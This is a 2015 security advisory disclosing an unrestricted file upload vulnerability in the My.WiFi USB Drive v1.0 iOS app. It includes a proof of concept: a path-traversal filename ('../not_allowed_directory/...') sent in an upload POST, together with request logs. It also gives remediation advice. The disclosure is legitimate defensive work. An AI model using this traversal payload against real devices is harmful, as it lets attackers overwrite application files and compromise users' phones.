Document Title: =============== My.WiFi USB Drive v1.0 iOS - File Upload Web Vulnerability Date: ===== 2015-09-23 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1589 VL-ID: ===== 1589 Common Vulnerability Scoring System: ==================================== 7.6 Introduction: ============= My WiFi USB drive. Files can be uploaded with any browser. Start the WiFi Drive web server from application and connect to it using any browser. Use the iPod/iPhone’s/iPad`s available disk space to carry any files. Use your iPhone as a normal shared network drive! (Copy of the Vendor Homepage: https://itunes.apple.com/us/app/my.wifi-usb-drive-+-free-pdf/id979512705 ) Abstract: ========= The Vulnerability Laboratory Core Research Team discovered an unrestricted file upload web vulnerability in the My.WiFi USB Drive v1.0 iOS mobile web-application. Report-Timeline: ================ 2015-09-24: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Jiyeon Lee Product: My.WiFi USB Drive - iOS Mobile (Web-Application) v1.0 Exploitation-Technique: ======================= Local Severity: ========= High Details: ======== A file upload web vulnerability has been discovered in the official My.WiFi USB Drive v1.0 iOS mobile web-application. The unrestricted file upload web vulnerability allows remote attackers to upload an arbitrary (malicious) files to compromise the iOS web-application. The vulnerability is located in the `filename` parameter of the `Upload Files` module. Remote attackers are able to manipulate the filename value and can replace or overwrite the local files in the application path. The request method to upload the malicious context is POST and the attack vector is located on the application-side of the mobile iOS web-application. The security risk of the file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.6. Exploitation of the unrestricted file upload web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the vulnerability results in mobile application compromise and compromise of connected device components. Proof of Concept: ================= The unrestricted file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Source

"../not_allowed_directory/x>

--- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost:8080/upload Mime Type[application/json] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0] Accept[application/json, text/javascript, */*; q=0.01] POST-Daten: POST_DATA[-----------------------------20192471318021 Content-Disposition: form-data; name="path" / -----------------------------20192471318021 Content-Disposition: form-data; name="files[]"; filename="../not_allowed_directory/newfile.png" --- Status: 200[OK] GET http://localhost:8080/list?path=%2F../not_allowed_directory/newfile.png Mime Type[application/json] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0] Accept[application/json, text/javascript, */*; q=0.01] Response Header: Server[GCDWebUploader] Cache-Control[no-cache] Content-Length[692] Content-Type[application/json] Connection[Close] Date[Tue, 01 Sep 2015 11:17:22 GMT] Reference(s): http://localhost:8080/upload http://localhost:8080/list?path=%2F Solution: ========= The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. Encode the output in the file dir index list with the vulnerable name value to prevent application-side script code injection attacks. Risk: ===== The security risk of the unrestricted file upload vulnerability in the My.WiFi USB Drive app is estimated as high. (CVSS 7.6) Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™